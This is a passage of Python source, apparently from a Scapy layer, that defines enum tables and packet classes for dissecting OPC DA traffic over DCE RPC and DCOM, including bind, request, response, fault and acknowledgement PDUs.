{\n    1: \"OPC_BRANCH\",\n    2: \"OPC_LEAF\",\n    3: \"OPC_FLAT\"\n}\n\n_tagOPCNameSpaceType = {\n    1: \"OPC_NS_HIERARCHIAL\",\n    2: \"OPC_NS_FLAT\"\n}\n\n_tagOPCBrowseDirection = {\n    1: \"OPC_BROWSE_UP\",\n    2: \"OPC_BROWSE_DOWN\",\n    3: \"OPC_BROWSE_TO\"\n}\n\n_tagOPCEuType = {\n    0: \"OPC_NOENUM\",\n    1: \"OPC_ANALOG\",\n    2: \"OPC_ENUMERATED\"\n}\n\n_tagOPCServerState = {\n    1: \"OPC_STATUS_RUNNING\",\n    2: \"OPC_STATUS_FAILED\",\n    3: \"OPC_STATUS_NOCONFIG\",\n    4: \"OPC_STATUS_SUSPENDED\",\n    5: \"OPC_STATUS_TEST\",\n    6: \"OPC_STATUS_COMM_FAULT\"\n}\n\n_tagOPCEnumScope = {\n    1: \"OPC_ENUM_PRIVATE_CONNECTIONS\",\n    2: \"OPC_ENUM_PUBLIC_CONNECTIONS\",\n    3: \"OPC_ENUM_ALL_CONNECTIONS\",\n    4: \"OPC_ENUM_PRIVATE\",\n    5: \"OPC_ENUM_PUBLIC\",\n    6: \"OPC_ENUM_ALL\"\n}\n\n_pfc_flags = [\n    \"firstFragment\",            # First fragment\n    \"lastFragment\",             # Last fragment\n    \"pendingCancel\",            # Cancel was pending at sender\n    \"reserved\",                 #\n    \"concurrentMultiplexing\",   # supports concurrent multiplexing\n                                # of a single connection\n    \"didNotExecute\",            # only meaningful on `fault' packet if true,\n                                # guaranteed call did not execute\n    \"maybe\",                    # `maybe' call semantics requested\n    \"objectUuid\"                # if true, a non-nil object UUID was specified\n                                # in the handle, and is present in the optional\n                                # object field. If false, the object field\n                                # is omitted\n]\n\n_faultStatus = {\n    382312475: 'rpc_s_fault_object_not_found',\n    382312497: 'rpc_s_call_cancelled',\n    382312564: 'rpc_s_fault_addr_error',\n    382312565: 'rpc_s_fault_context_mismatch',\n    382312566: 'rpc_s_fault_fp_div_by_zero',\n    382312567: 'rpc_s_fault_fp_error',\n    382312568: 'rpc_s_fault_fp_overflow',\n    382312569: 'rpc_s_fault_fp_underflow',\n    382312570: 'rpc_s_fault_ill_inst',\n    382312571: 'rpc_s_fault_int_div_by_zero',\n    382312572: 'rpc_s_fault_int_overflow',\n    382312573: 'rpc_s_fault_invalid_bound',\n    382312574: 'rpc_s_fault_invalid_tag',\n    382312575: 'rpc_s_fault_pipe_closed',\n    382312576: 'rpc_s_fault_pipe_comm_error',\n    382312577: 'rpc_s_fault_pipe_discipline',\n    382312578: 'rpc_s_fault_pipe_empty',\n    382312579: 'rpc_s_fault_pipe_memory',\n    382312580: 'rpc_s_fault_pipe_order',\n    382312582: 'rpc_s_fault_remote_no_memory',\n    382312583: 'rpc_s_fault_unspec',\n    382312723: 'rpc_s_fault_user_defined',\n    382312726: 'rpc_s_fault_tx_open_failed',\n    382312814: 'rpc_s_fault_codeset_conv_error',\n    382312816: 'rpc_s_fault_no_client_stub',\n    469762049: 'nca_s_fault_int_div_by_zero',\n    469762050: 'nca_s_fault_addr_error',\n    469762051: 'nca_s_fault_fp_div_zero',\n    469762052: 'nca_s_fault_fp_underflow',\n    469762053: 'nca_s_fault_fp_overflow',\n    469762054: 'nca_s_fault_invalid_tag',\n    469762055: 'nca_s_fault_invalid_bound',\n    469762061: 'nca_s_fault_cancel',\n    469762062: 'nca_s_fault_ill_inst',\n    469762063: 'nca_s_fault_fp_error',\n    469762064: 'nca_s_fault_int_overflow',\n    469762068: 'nca_s_fault_pipe_empty',\n    469762069: 'nca_s_fault_pipe_closed',\n    469762070: 'nca_s_fault_pipe_order',\n    469762071: 'nca_s_fault_pipe_discipline',\n    469762072: 'nca_s_fault_pipe_comm_error',\n    469762073: 'nca_s_fault_pipe_memory',\n    469762074: 'nca_s_fault_context_mismatch',\n    469762075: 'nca_s_fault_remote_no_memory',\n    469762081: 'ncs_s_fault_user_defined',\n    469762082: 'nca_s_fault_tx_open_failed',\n    469762083: 'nca_s_fault_codeset_conv_error',\n    469762084: 'nca_s_fault_object_not_found',\n    469762085: 'nca_s_fault_no_client_stub',\n}\n\n_defResult = {\n    0: 'ACCEPTANCE',\n    1: 'USER_REJECTION',\n    2: 'PROVIDER_REJECTION',\n}\n\n_defReason = {\n    0: 'REASON_NOT_SPECIFIED',\n    1: 'ABSTRACT_SYNTAX_NOT_SUPPORTED',\n    2: 'PROPOSED_TRANSFER_SYNTAXES_NOT_SUPPORTED',\n    3: 'LOCAL_LIMIT_EXCEEDED',\n}\n\n_rejectBindNack = {\n    0: 'REASON_NOT_SPECIFIED',\n    1: 'TEMPORARY_CONGESTION',\n    2: 'LOCAL_LIMIT_EXCEEDED',\n    3: 'CALLED_PADDR_UNKNOWN',\n    4: 'PROTOCOL_VERSION_NOT_SUPPORTED',\n    5: 'DEFAULT_CONTEXT_NOT_SUPPORTED',\n    6: 'USER_DATA_NOT_READABLE',\n    7: 'NO_PSAP_AVAILABLE'\n}\n\n_rejectStatus = {\n    469762056: 'nca_rpc_version_mismatch',\n    469762057: 'nca_unspec_reject',\n    469762058: 'nca_s_bad_actid',\n    469762059: 'nca_who_are_you_failed',\n    469762060: 'nca_manager_not_entered',\n    469827586: 'nca_op_rng_error',\n    469827587: 'nca_unk_if',\n    469827590: 'nca_wrong_boot_time',\n    469827593: 'nca_s_you_crashed',\n    469827595: 'nca_proto_error',\n    469827603: 'nca_out_args_too_big',\n    469827604: 'nca_server_too_busy',\n    469827607: 'nca_unsupported_type',\n    469762076: 'nca_invalid_pres_context_id',\n    469762077: 'nca_unsupported_authn_level',\n    469762079: 'nca_invalid_checksum',\n    469762080: 'nca_invalid_crc'\n}\n\n_pduType = {\n    0: \"REQUEST\",\n    1: \"PING\",\n    2: \"RESPONSE\",\n    3: \"FAULT\",\n    4: \"WORKING\",\n    5: \"NOCALL\",\n    6: \"REJECT\",\n    7: \"ACK\",\n    8: \"CI_CANCEL\",\n    9: \"FACK\",\n    10: \"CANCEL_ACK\",\n    11: \"BIND\",\n    12: \"BIND_ACK\",\n    13: \"BIND_NACK\",\n    14: \"ALTER_CONTEXT\",\n    15: \"ALTER_CONTEXT_RESP\",\n    17: \"SHUTDOWN\",\n    18: \"CO_CANCEL\",\n    19: \"ORPHANED\",\n    # Not documented\n    16: \"Auth3\",\n}\n\n_authentification_protocol = {\n    0: 'None',\n    1: 'OsfDcePrivateKeyAuthentication',\n}\n\n# Util\n\n\ndef _make_le(pkt_cls):\n    \"\"\"\n    Make all fields in a packet LE.\n    \"\"\"\n    flds = [f.copy() for f in pkt_cls.fields_desc]\n    for f in flds:\n        if isinstance(f, _FieldContainer):\n            f = f.fld\n        if isinstance(f, UUIDField):\n            f.uuid_fmt = UUIDField.FORMAT_LE\n        elif isinstance(f, _PacketField):\n            f.cls = globals().get(f.cls.__name__ + \"LE\", f.cls)\n        elif not isinstance(f, StrField):\n            f.fmt = \"<\" + f.fmt.replace(\">\", \"\").replace(\"!\", \"\")\n            f.struct = struct.Struct(f.fmt)\n\n    class LEPacket(pkt_cls):\n        fields_desc = flds\n        name = pkt_cls().name + \" (LE)\"\n    LEPacket.__name__ = pkt_cls.__name__ + \"LE\"\n    return LEPacket\n\n\n#  Sub class for dissection\nclass AuthentificationProtocol(Packet):\n    name = 'authentificationProtocol'\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n    def guess_payload_class(self, payload):\n        if self.underlayer and hasattr(self.underlayer, \"authLength\"):\n            authLength = self.underlayer.authLength\n            if authLength != 0:\n                try:\n                    return _authentification_protocol[authLength]\n                except Exception:\n                    pass\n        return conf.raw_layer\n\n\nclass OsfDcePrivateKeyAuthentification(Packet):\n    name = \"OsfDcePrivateKeyAuthentication\"\n    # TODO\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass OPCHandle(Packet):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"16s\")\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass LenStringPacket(Packet):\n    # Among other things, can be (port_any_t -  DCE 1.1 RPC - p592)\n    name = \"len string packet\"\n    fields_desc = [\n        FieldLenField('length', 0, length_of='data', fmt=\"H\"),\n        MultipleTypeField(\n            [(StrFixedLenField('data', '', length=2),\n                lambda pkt: not pkt.length)],\n            StrLenField('data', '', length_from=lambda pkt: pkt.length)\n        )\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nLenStringPacketLE = _make_le(LenStringPacket)\n\n\nclass SyntaxId(Packet):\n    name = \"syntax Id\"\n    fields_desc = [\n        UUIDField('interfaceUUID', str('0001' * 8),\n                  uuid_fmt=UUIDField.FORMAT_BE),\n        ShortField('versionMajor', 0),\n        ShortField('versionMinor', 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nSyntaxIdLE = _make_le(SyntaxId)\n\n\nclass ResultElement(Packet):\n    # p_result_list_t -  DCE 1.1 RPC - p591\n    name = \"p_result_t\"\n    fields_desc = [\n        ShortEnumField('resultContextNegotiation', 0, _defResult),\n        ConditionalField(ShortEnumField('reason', 0, _defReason),\n                         lambda pkt:pkt.resultContextNegotiation != 0),\n        PacketField('transferSyntax', '\\x00' * 20, SyntaxId),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nResultElementLE = _make_le(ResultElement)\n\n\nclass ResultList(Packet):\n    # p_result_list_t -  DCE 1.1 RPC - p592\n    name = \"p_result_list_t\"\n    fields_desc = [\n        ByteField('nbResult', 0),\n        ByteField('reserved', 0),\n        ShortField('reserved2', 0),\n        PacketListField('resultList', None, ResultElement,\n                        count_from=lambda pkt:pkt.nbResult),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nResultListLE = _make_le(ResultList)\n\n\nclass ContextElement(Packet):\n    name = \"context element\"\n    fields_desc = [\n        ShortField('contxtId', 0),\n        ByteField('nbTransferSyn', 0),\n        ByteField('reserved', 0),\n        PacketField('abstractSyntax', None, SyntaxId),\n        PacketListField('transferSyntax', None, SyntaxId,\n                        count_from=lambda pkt:pkt.nbTransferSyn),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nContextElementLE = _make_le(ContextElement)\n\n\n# Only in Little-Endian\nclass STDOBJREF(Packet):\n    name = 'stdObjRef'\n    fields_desc = [\n        LEIntEnumField('flags', 1, {0: 'PINGING', 8: 'SORF_NOPING'}),\n        LEIntField('cPublicRefs', 0),\n        LELongField('OXID', 0),\n        LELongField('OID', 0),\n        PacketField('IPID', None, UUIDField),\n    ]\n\n\nclass StringBinding(Packet):\n    name = 'String Binding'\n    fields_desc = [\n        LEShortField('wTowerId', 0),\n        # Not enough information to continue\n    ]\n\n\nclass DualStringArray(Packet):\n    name = \"Dual String Array\"\n    fields_desc = [\n        ShortField('wNumEntries', 0),\n        ShortField('wSecurityOffset', 0),\n        StrFixedLenField('StringBinding', '',\n                         # Simplify the problem\n                         length_from=lambda pkt:pkt.wSecurityOffset),\n    ]\n\n\nDualStringArrayLE = _make_le(DualStringArray)\n\n\nclass OBJREF_STANDARD(Packet):\n    name = \"objetref stanDard\"\n    fields_desc = [\n        PacketField('std', None, STDOBJREF),\n        PacketField('saResAddr', None, DualStringArray),\n    ]\n\n\nOBJREF_STANDARDLE = _make_le(OBJREF_STANDARD)\n\n\nclass OBJREF_HANDLER(Packet):\n    name = \"objetref stanDard\"\n    fields_desc = [\n        PacketField('std', None, STDOBJREF),\n        UUIDField('clsid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE),\n        PacketField('saResAddr', None, DualStringArray),\n    ]\n\n\nOBJREF_HANDLERLE = _make_le(OBJREF_HANDLER)\n\n\nclass OBJREF_CUSTOM(Packet):\n    name = \"objetref stanDard\"\n    fields_desc = [\n        UUIDField('clsid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE),\n        IntField('cbExtension', 0),\n        IntField('reserved', 0),\n    ]\n\n\nOBJREF_CUSTOMLE = _make_le(OBJREF_CUSTOM)\n\n\nclass OBJREF_EXTENDED(Packet):\n    name = \"objetref stanDard\"\n    fields_desc = [\n\n    ]\n\n\nOBJREF_EXTENDEDLE = _make_le(OBJREF_EXTENDED)\n\n\n# Packet for the interfaces defined\n_objref_flag = {\n    1: 'OBJREF_STANDARD',\n    2: 'OBJREF_HANDLER',\n    4: 'OBJREF_CUSTOM',\n    8: 'OBJREF_EXTENDED',\n}\n\n\n_objref_pdu = {\n    1: [OBJREF_STANDARD, OBJREF_STANDARDLE],\n    2: [OBJREF_HANDLER, OBJREF_HANDLERLE],\n    4: [OBJREF_CUSTOM, OBJREF_CUSTOMLE],\n    8: [OBJREF_EXTENDED, OBJREF_EXTENDEDLE],\n}\n\n\nclass IRemoteSCMActivator_RemoteCreateInstance(Packet):\n    name = 'RemoteCreateInstance'\n    fields_desc = [\n        ShortField('versionMajor', 0),\n        ShortField('versionMinor', 0),\n        IntEnumField('flag', 1, _objref_flag),\n        IntField('reserved', 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        try:\n            return _objref_pdu[self.flag][\n                self.__class__.__name__.endswith(\"LE\")\n            ]\n        except Exception:\n            pass\n\n\nIRemoteSCMActivator_RemoteCreateInstanceLE = _make_le(\n    IRemoteSCMActivator_RemoteCreateInstance\n)\n\n\nIRemoteSCMActivator = {\n    # 0: 'Reserved for local use',\n    # 1: 'Reserved for local use',\n    # 2: 'Reserved for local use',\n    # 3: [IRemoteSCMActivator_RemoteGetClassObject,\n    # IRemoteSCMActivator_RemoteGetClassObject],\n    4: [IRemoteSCMActivator_RemoteCreateInstance,\n        IRemoteSCMActivator_RemoteCreateInstanceLE],\n}\n\n\n# UUID defined for DCOM\n# Specifies the Distributed Component Object Model (DCOM) Remote Protocol\n# https://msdn.microsoft.com/en-us/library/cc226801.aspx\n# MS-Dcom.pdf 1.9\n# OPC DA Specification.pdf\n_standardDcomEndpoint = {\n    # MS-DCOM\n    '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57': \"IActivation\",\n    '000001A0-0000-0000-C000-000000000046': IRemoteSCMActivator,\n    '99fcfec4-5260-101b-bbcb-00aa0021347a': \"IObjectExporter\",\n    '00000000-0000-0000-C000-000000000046': \"IUnknown\",\n    '00000131-0000-0000-C000-000000000046': \"IRemUnknown_IUnknown\",\n    '00000143-0000-0000-C000-000000000046': \"IRemUnknown2_IRemUnknown\",\n    # OLE for Process Control\n    '63D5F430-CFE4-11d1-B2C8-0060083BA1FB': \"CATID_OPCDAServer10\",\n    '63D5F432-CFE4-11d1-B2C8-0060083BA1FB': \"CATID_OPCDAServer20\",\n    'CC603642-66D7-48f1-B69A-B625E73652D7': \"CATID_OPCDAServer30\",\n    '39c13a4d-011e-11d0-9675-0020afd8adb3': \"IOPCServer_IUnknown\",\n    '39c13a4e-011e-11d0-9675-0020afd8adb3': \"IOPCServerPublicGroups_IUnknown\",\n    '39c13a4f-011e-11d0-9675-0020afd8adb3': \"IOPCBrowseServerAddrSpace_IUnknown\",  # noqa: E501\n    '39c13a50-011e-11d0-9675-0020afd8adb3': \"IOPCGroupStateMgt_IUnknown\",\n    '39c13a51-011e-11d0-9675-0020afd8adb3': \"IOPCPublicGroupStateMgt_IUnknown\",\n    '39c13a52-011e-11d0-9675-0020afd8adb3': \"IOPCSyncIO_IUnknown\",\n    '39c13a53-011e-11d0-9675-0020afd8adb3': \"IOPCAsyncIO_IUnknown\",\n    '39c13a54-011e-11d0-9675-0020afd8adb3': \"IOPCItemMgt_IUnknown\",\n    '39c13a55-011e-11d0-9675-0020afd8adb3': \"IEnumOPCItemAttributes_IUnknown\",\n    '39c13a70-011e-11d0-9675-0020afd8adb3': \"IOPCDataCallback_IUnknown\",\n    '39c13a71-011e-11d0-9675-0020afd8adb3': \"IOPCAsyncIO2_IUnknown\",\n    '39c13a72-011e-11d0-9675-0020afd8adb3': \"IOPCItemProperties_IUnknown\",\n    '5946DA93-8B39-4ec8-AB3D-AA73DF5BC86F': \"IOPCItemDeadbandMgt_IUnknown\",\n    '3E22D313-F08B-41a5-86C8-95E95CB49FFC': \"IOPCItemSamplingMgt_IUnknown\",\n    '39227004-A18F-4b57-8B0A-5235670F4468': \"IOPCBrowse_IUnknown\",\n    '85C0B427-2893-4cbc-BD78-E5FC5146F08F': \"IOPCItemIO_IUnknown\",\n    '730F5F0F-55B1-4c81-9E18-FF8A0904E1FA': \"IOPCSyncIO2_IOPCSyncIO\",\n    '0967B97B-36EF-423e-B6F8-6BFF1E40D39D': \"IOPCAsyncIO3_IOPCAsyncIO2\",\n    '8E368666-D72E-4f78-87ED-647611C61C9F': \"IOPCGroupStateMgt2_IOPCGroupStateMgt\",  # noqa: E501\n    '3B540B51-0378-4551-ADCC-EA9B104302BF': \"library_OPCDA\",\n    # Other\n    '000001a5-0000-0000-c000-000000000046': \"ActivationContextInfo\",\n    '00000338-0000-0000-c000-000000000046': \"ActivationPropertiesIn\",\n}\n\n\n# [MS-NLMP] 2.2.2.1\n_attribute_type = {\n    0: 'EndOfList',\n    1: 'NetBIOSComputerName',\n    2: 'NetBIOSDomainName',\n    3: 'DNSComputername',\n    4: 'DNSDomainName',\n    6: 'Flags',\n    7: 'TimeStamp',\n    8: 'Restrictions',\n    9: 'TargetName',\n    10: 'ChannelBindings'\n}\n\n# Maybe depend of LE or BE\n_negociate_flags = [\n    \"negociate_0x01\",\n    \"negociate_version\",\n    \"negociate_0x04\",\n    \"negociate_0x08\",\n    \"negociate_0x10\",\n    \"negociate_128\",\n    \"negociate_key_exchange\",\n    \"negociate_56\",\n    \"target_type_domain\",\n    \"target_type_server\",\n    \"taget_type_share\",\n    \"negociate_extended_security\",\n    \"negociate_identity\",\n    \"negociate_0x002\",\n    \"request_non_nt\",\n    \"negociate_target_info\",\n    \"negociate_0x000001\",\n    \"negociate_ntlm_key\",\n    \"negociate_nt_only\",\n    \"negociate_anonymous\",\n    \"negociate_oem_doamin\",\n    \"negociate_oem_workstation\",\n    \"negociate_0x00004\",\n    \"negociate_always_sign\",\n    \"negociate_unicode\",\n    \"negociate_oem\",\n    \"request_target\",\n    \"negociate_00000008\",\n    \"negociate_sign\",\n    \"negociate_seal\",\n    \"negociate_datagram\",\n    \"negociate_lan_manager_key\",\n]\n\n\nclass AV_PAIR(Packet):\n    name = \"AV_PAIR\"\n    fields_desc = [\n        ShortEnumField('avID', 2, _attribute_type),\n        ShortField('avLen', 0),\n        StrLenField('value', '',\n                    length_from=lambda pkt:pkt.avLen),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nAV_PAIRLE = _make_le(AV_PAIR)\n\n\n# NTLM\n\n_opcDa_auth_classes = {\n    10: [NTLM_Header, NTLM_Header],\n}\n\n\nclass OpcDaAuth3(Packet):\n    name = \"Auth3\"\n    fields_desc = [\n        ShortField('code', 5840),\n        ShortField('code2', 5840),\n        ByteField('authType', 10),\n        ByteField('authLevel', 2),\n        ByteField('authPadLen', 0),\n        ByteField('authReserved', 0),\n        IntField('authContextId', 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        try:\n            return _opcDa_auth_classes[self.authType][\n                self.__class__.__name__.endswith(\"LE\")\n            ]\n        except Exception:\n            pass\n\n\nOpcDaAuth3LE = _make_le(OpcDaAuth3)\n\n\n# A client sends a request PDU when it wants to execute a remote operation.\n#  In a multi-PDU request, the request consists of a series of request PDUs\n#  with the same sequence number and monotonically increasing fragment\n#  numbers. The body of a request PDU contains data that represents input\n#  parameters for the operation.\n\nclass RequestStubData(Packet):\n    name = 'RequestStubData'\n    fields_desc = [\n        ShortField('versionMajor', 0),\n        ShortField('versionMinor', 0),\n        StrField('stubdata', ''),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nRequestStubDataLE = _make_le(RequestStubData)\n\n\ndef _opc_stubdata_length(pkt):\n    if not pkt.underlayer or not isinstance(pkt.underlayer, OpcDaHeaderN):\n        return 0\n    stub_data_length = pkt.underlayer.fragLength - 24\n    stub_data_length -= pkt.underlayer.authLength\n    if (OpcDaHeaderMessage in pkt.firstlayer() and\n            pkt.firstlayer()[OpcDaHeaderMessage].pfc_flags & 'objectUuid'):\n        stub_data_length -= 36\n    return max(0, stub_data_length)\n\n\nclass OpcDaRequest(Packet):\n    # DCE 1.1 RPC - 12.6.4.9\n    name = \"OpcDaRequest\"\n    fields_desc = [\n        IntField('allocHint', 0),\n        ShortField('contextId', 0),\n        ShortField('opNum', 0),\n        ConditionalField(\n            UUIDField('uuid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE),\n            lambda pkt: OpcDaHeaderMessage in pkt.firstlayer() and\n            pkt.firstlayer()[OpcDaHeaderMessage].pfc_flags & 'objectUuid'\n        ),\n        PacketLenField('stubData', None, RequestStubData,\n                       length_from=lambda pkt: _opc_stubdata_length(pkt)),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaRequestLE = _make_le(OpcDaRequest)\n\n\n# A client sends a ping PDU when it wants to inquire about an outstanding\n#  request.\n# A ping PDU contains no body data.\nclass OpcDaPing(Packet):\n    # DCE 1.1 RPC - 12.5.3.7\n    name = \"OpcDaPing\"\n    fields_desc = []\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\n# A server sends a response PDU if an operation invoked by an idempotent,\n#  broadcast or at-most-once request executes successfully. Servers do not send\n#  responses for maybe or broadcast/maybe requests. A multi-PDU response\n#  consists of a series of response PDUs with the same sequence number and\n#  monotonically increasing fragment numbers.\nclass OpcDaResponse(Packet):\n    # DCE 1.1 RPC - 12.6.4.10\n    name = \"OpcDaResponse\"\n    fields_desc = [\n        IntField('allocHint', 0),\n        ShortField('contextId', 0),\n        ByteField('cancelCount', 0),\n        ByteField('reserved', 0),\n        StrLenField('stubData', None,\n                    length_from=lambda pkt:pkt.allocHint - 32),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaResponseLE = _make_le(OpcDaResponse)\n\n\n# The fault PDU is used to indicate either an RPC run-time, RPC stub, or\n#  RPC-specific exception to the client.\n# Length of the stubdata equal allochint less header\nclass OpcDaFault(Packet):\n    # DCE 1.1 RPC - 12.6.4.7\n    name = \"OpcDaFault\"\n    fields_desc = [\n        IntField('allocHint', 0),\n        ShortField('contextId', 0),\n        ByteField('cancelCount', 0),\n        ByteField('reserved', 0),\n        IntEnumField('Group', 0, _faultStatus),\n        IntField('reserved2', 0),\n        StrLenField('stubData', None,\n                    length_from=lambda pkt:pkt.allocHint - 32),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaFaultLE = _make_le(OpcDaFault)\n\n\n# A server sends a working PDU in reply to a ping PDU. This reply indicates\n#  that the server is processing the client's call.\n# A working PDU contains no body data.\nclass OpcDaWorking(Packet):\n    name = \"OpcDaWorking\"\n\n    def extract_padding(self, p):\n        return OpcDaFack\n\n\n# A nocall PDU can optionally carry a body whose format is the same as the\n# optional fack PDU body.\nclass OpcDaNoCall(Packet):\n    name = \"OpcDaNoCall\"\n\n    def extract_padding(self, p):\n        return OpcDaFack\n\n\nclass OpcDaNoCallLE(Packet):\n    name = \"OpcDaNoCall\"\n\n    def extract_padding(self, p):\n        return OpcDaFackLE\n\n\n# A server sends a reject PDU if an RPC request is rejected. The body of\n#  a reject PDU contains a status code indicating why a callee is rejecting\n#  a request PDU from a caller.\nclass OpcDaReject(Packet):\n    # DCE 1.1 RPC - 12.5.3.8\n    name = \"OpcDaReject\"\n    fields_desc = [\n        IntField('allocHint', 0),\n        ShortField('contextId', 0),\n        ByteField('cancelCount', 0),\n        ByteField('reserved', 0),\n        IntEnumField('Group', 0, _rejectStatus),\n        StrLenField('stubData', None,\n                    length_from=lambda pkt:pkt.allocHint - 32),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaRejectLE = _make_le(OpcDaReject)\n\n\n# A client sends an ack PDU after it has received a response to\n#  an at-most-once request. An ack PDU explicitly acknowledges that the\n#  client has received the response; it tells the server to cease resending\n#  the response and discard the response PDU. (A client can also implicitly\n#  acknowledge receipt of a response by sending a new request.)\n# An ack PDU contains no body data.\nclass OpcDaAck(Packet):\n    name = \"OpcDaAck\"\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\n# The cancel PDU is used to forward a cancel.\nclass OpcDaCl_cancel(Packet):\n    # DCE 1.1 RPC - 12.5.3.3\n    name = \"OpcDaCl_cancel\"\n    fields_desc = [\n        PacketField('authentication', None, AuthentificationProtocol),\n        IntField('version', 0),\n        IntField('cancelId', 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaCl_cancelLE = _make_le(OpcDaCl_cancel)\n\n\n#  Both clients and servers send fack PDUs.\n# A client sends a fack PDU after it has received a fragment of a multi-PDU\n#  response. A fack PDU explicitly acknowledges that the client has received\n#  the fragment; it may tell the sender to stop sending for a while.\n# A server sends a fack PDU after it has received a fragment of a multi-PDU\n#  request. A fack PDU explicitly acknowledges that the server has received the\n#  fragment; it may tell the sender to stop sending for a while.\nclass OpcDaFack(Packet):\n    # DCE 1.1 RPC - 12.5.3.4\n    name = \"OpcDaFack\"\n    fields_desc = [\n        ShortField('version', 0),\n        ByteField('pad', 0),\n        ShortField('windowSize', 0),\n        IntField('maxTsdu', 0),\n        IntField('maxFragSize', 0),\n        ShortField('serialNum', 0),\n        FieldLenField('selackLen', 0, count_of='selack', fmt=\"H\"),\n        PacketListField('selack', None, IntField,\n                        count_from=lambda pkt:pkt.selackLen),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaFackLE = _make_le(OpcDaFack)\n\n\n# A server sends a cancel_ack PDU after it has received a cancel PDU.\n# A cancel_ack PDU acknowledges that the server has cancelled or orphaned\n#  a remote call or indicates that the server is not accepting cancels.\n# A ancel_ack PDUs can optionally have a body. A cancel_ack PDU without a body\n#  acknowledges orphaning of a call, whereas a cancel_ack PDU with a body\n#  acknowledges cancellation of a call. Orphaned calls do not perform any\n#  further processing. Canceled calls transparently deliver a notification to\n#  the server manager routine without altering the run-time system state of the\n#  call. The run-time system's processing of a cancelled call continues\n#  uninterrupted.\nclass OpcDaCancel_ack(Packet):\n    # DCE 1.1 RPC - 12.5.3.2\n    name = \"OpcDaCancel_ack\"\n    fields_desc = [\n        IntField('version', 0),\n        IntField('cancelId', 0),\n        ByteField('accepting', 1)\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaCancel_ackLE = _make_le(OpcDaCancel_ack)\n\n\n# The bind PDU is used to initiate the presentation negotiation for the body\n#  data, and optionally, authentication. The presentation negotiation follows\n#  the model of the OSI presentation layer.\nclass OpcDaBind(Packet):\n    # DCE 1.1 RPC - 12.6.4.3\n    name = \"OpcDaBind\"\n    fields_desc = [\n        ShortField('maxXmitFrag', 5840),\n        ShortField('maxRecvtFrag', 5840),\n        IntField('assocGroupId', 0),\n        ByteField('nbContextElement', 1),\n        ByteField('reserved', 0),\n        ShortField('reserved2', 0),\n        PacketListField('contextItem', None, ContextElement,\n                        count_from=lambda pkt:pkt.nbContextElement),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaBindLE = _make_le(OpcDaBind)\n\n\n# The bind_ack PDU is returned by the server when it accepts a bind request\n#  initiated by the client's bind PDU. It contains the results of presentation\n#  context and fragment size negotiations. It may also contain a new\n#  association group identifier if one was requested by the client.\nclass OpcDaBind_ack(Packet):\n    # DCE 1.1 RPC - 12.6.4.4\n    name = \"OpcDaBind_ack\"\n    fields_desc = [\n        ShortField('maxXmitFrag', 5840),\n        ShortField('maxRecvtFrag', 5840),\n        IntField('assocGroupId', 0),\n        PacketField('portSpec', '\\x00\\x00\\x00\\x00', LenStringPacket),\n        IntField('pad2', 0),\n        PacketField('resultList', None, ResultList),\n        PacketField('authentication', None, AuthentificationProtocol),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaBind_ackLE = _make_le(OpcDaBind_ack)\n\n\n# The bind_nak PDU is returned by the server when it rejects an association\n#  request initiated by the client's bind PDU. The provider_reject_reason field\n#  holds the rejection reason code. When the reject reason is\n#  protocol_version_not_supported, the versions field contains a list of\n#  run-time protocol versions supported by the server.\nclass OpcDaBind_nak(Packet):\n    # DCE 1.1 RPC - 12.6.4.5\n    name = \"OpcDaBind_nak\"\n    fields_desc = [\n        ShortEnumField(\"providerRejectReason\", 0, _rejectBindNack)\n    ]  # To complete\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaBind_nakLE = _make_le(OpcDaBind_nak)\n\n\n# The alter_context PDU is used to request additional presentation negotiation\n#  for another interface and/or version, or to negotiate a new security\n#  context, or both.\nclass OpcDaAlter_context(Packet):\n    # DCE 1.1 RPC - 12.6.4.1\n    name = \"OpcDaAlter_context\"\n    fields_desc = [\n        ShortField('maxXmitFrag', 5840),\n        ShortField('maxRecvtFrag', 5840),\n        IntField('assocGroupId', 0),\n        # PacketField('authentication', None, AuthentificationProtocol),\n    ]  # To complete\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nOpcDaAlter_contextLE = _make_le(OpcDaAlter_context)\n\n\nclass OpcDaAlter_Context_Resp(Packet):\n    # DCE 1.1 RPC - 12.6.4.2\n    name = \"OpcDaAlter_Context_Resp\"\n    fields_desc = [\n        ShortField('maxXmitFrag', 5840),\n        ShortField('maxRecvtFrag', 5840),\n        IntField('assocGroupId', 0),\n        PacketField('portSpec', 